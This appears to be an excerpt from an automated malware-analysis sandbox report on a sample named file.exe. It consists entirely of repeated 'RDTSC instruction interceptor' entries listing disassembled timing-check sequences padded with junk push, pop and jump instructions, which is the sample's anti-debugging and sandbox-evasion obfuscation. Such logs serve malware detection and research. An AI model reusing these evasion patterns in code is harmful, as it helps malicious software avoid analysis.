                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608201 second address: 608209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608209 second address: 60820E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60820E second address: 608241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A38h 0x00000007 jne 00007F5A147D6A3Dh 0x0000000d jmp 00007F5A147D6A31h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6084A2 second address: 6084C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F5A14B6C843h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jne 00007F5A14B6C836h 0x00000013 popad 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6084C4 second address: 6084D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F5A147D6A26h 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608628 second address: 60862E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60862E second address: 608656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F5A147D6A28h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5A147D6A39h 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608656 second address: 60865A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6087E5 second address: 6087EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6087EA second address: 6087F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608A6E second address: 608A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608A74 second address: 608A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 608A7A second address: 608A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59404A second address: 594078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A14B6C849h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F5A14B6C83Ch 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 594078 second address: 59407E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59407E second address: 59409D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F5A14B6C84Eh 0x0000000b jmp 00007F5A14B6C842h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60C442 second address: 60C463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A32h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e ja 00007F5A147D6A26h 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0144 second address: 5E015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F5A14B6C84Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E02B1 second address: 5E02BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E02BB second address: 5E02BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E07B6 second address: 5E07BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E07BB second address: 5E07E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d pushad 0x0000000e jmp 00007F5A14B6C841h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E07E7 second address: 5E07EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E07EB second address: 5E0854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5A14B6C847h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 jp 00007F5A14B6C84Dh 0x00000019 jne 00007F5A14B6C84Ch 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0854 second address: 5E085E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5A147D6A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E085E second address: 5E0864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0B71 second address: 5E0B77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0B77 second address: 5E0B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5A14B6C836h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0CAF second address: 5E0CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0CB3 second address: 5E0CBD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0CBD second address: 5E0CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E1362 second address: 5E1366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E1366 second address: 5E13A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F5A147D6A39h 0x0000000c jmp 00007F5A147D6A33h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F5A147D6A37h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E13A7 second address: 5E13AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E13AB second address: 5E13AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E13AF second address: 5E13F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jbe 00007F5A14B6C842h 0x0000000f jmp 00007F5A14B6C83Ch 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007F5A14B6C83Eh 0x00000020 jmp 00007F5A14B6C842h 0x00000025 popad 0x00000026 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E14C5 second address: 5E1549 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F5A147D6A26h 0x0000000d jmp 00007F5A147D6A34h 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 mov dx, A696h 0x0000001b lea eax, dword ptr [ebp+12484F12h] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F5A147D6A28h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov ecx, dword ptr [ebp+122D2870h] 0x00000041 jmp 00007F5A147D6A39h 0x00000046 nop 0x00000047 jmp 00007F5A147D6A31h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E1549 second address: 5E154D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E154D second address: 5E1553 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60C741 second address: 60C756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5A14B6C836h 0x0000000a pop edi 0x0000000b push esi 0x0000000c js 00007F5A14B6C836h 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60C756 second address: 60C780 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5A147D6A3Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60C780 second address: 60C797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5A14B6C836h 0x0000000a popad 0x0000000b jmp 00007F5A14B6C83Ch 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60D03B second address: 60D041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60D041 second address: 60D055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5A14B6C83Dh 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60D1CE second address: 60D1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 60D1D7 second address: 60D1E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 611FDB second address: 611FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5A147D6A26h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 611FE8 second address: 612001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C83Fh 0x00000009 jnc 00007F5A14B6C836h 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 612001 second address: 61201D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5A147D6A30h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 61256F second address: 612575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 612575 second address: 61257D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6126D1 second address: 6126D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6126D5 second address: 6126DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 612F52 second address: 612F6B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F5A14B6C83Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 612F6B second address: 612F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A39h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5A147D6A34h 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6179F8 second address: 6179FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6179FC second address: 617A08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 617A08 second address: 617A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 617A0C second address: 617A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 617C8A second address: 617CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F5A14B6C83Fh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5A14B6C83Bh 0x0000001c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 617CB6 second address: 617CC0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5A147D6A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 617E79 second address: 617EC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007F5A14B6C84Dh 0x00000011 ja 00007F5A14B6C853h 0x00000017 jmp 00007F5A14B6C847h 0x0000001c jnl 00007F5A14B6C836h 0x00000022 push eax 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 618451 second address: 618476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5A147D6A35h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 618476 second address: 61847F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 618774 second address: 6187B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5A147D6A26h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F5A147D6A32h 0x00000014 pop eax 0x00000015 push edi 0x00000016 jmp 00007F5A147D6A2Ah 0x0000001b jmp 00007F5A147D6A30h 0x00000020 pop edi 0x00000021 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 618EB5 second address: 618EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5A14B6C83Ch 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 618EC8 second address: 618ECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59E1E7 second address: 59E1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F5A14B6C836h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 59E1F6 second address: 59E1FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62041B second address: 62041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62041F second address: 620429 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5A147D6A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 620429 second address: 620433 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5A14B6C83Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 624888 second address: 624892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 624892 second address: 624896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 624A13 second address: 624A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 624A19 second address: 624A27 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 627714 second address: 627718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 627B9B second address: 627BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F5A14B6C846h 0x0000000b popad 0x0000000c pushad 0x0000000d ja 00007F5A14B6C836h 0x00000013 push edi 0x00000014 pop edi 0x00000015 jc 00007F5A14B6C836h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62CAB3 second address: 62CABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62CABA second address: 62CAC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C83Ah 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62BFAA second address: 62BFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5A147D6A26h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F5A147D6A31h 0x00000011 pop eax 0x00000012 push esi 0x00000013 jc 00007F5A147D6A26h 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62BFD6 second address: 62BFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62BFDA second address: 62BFE4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5A147D6A26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62C2E1 second address: 62C2E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 62C2E6 second address: 62C2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 632953 second address: 632969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 push edx 0x00000008 jne 00007F5A14B6C836h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 632969 second address: 63298A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F5A147D6A2Ch 0x0000000f jp 00007F5A147D6A26h 0x00000015 jc 00007F5A147D6A2Ch 0x0000001b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63298A second address: 6329A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C83Ch 0x00000009 jnp 00007F5A14B6C836h 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631136 second address: 63113A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63113A second address: 631148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop eax 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631148 second address: 631178 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5A147D6A3Fh 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F5A147D6A26h 0x00000017 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631178 second address: 63117C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6312D8 second address: 6312F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F5A147D6A33h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6315AF second address: 6315B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
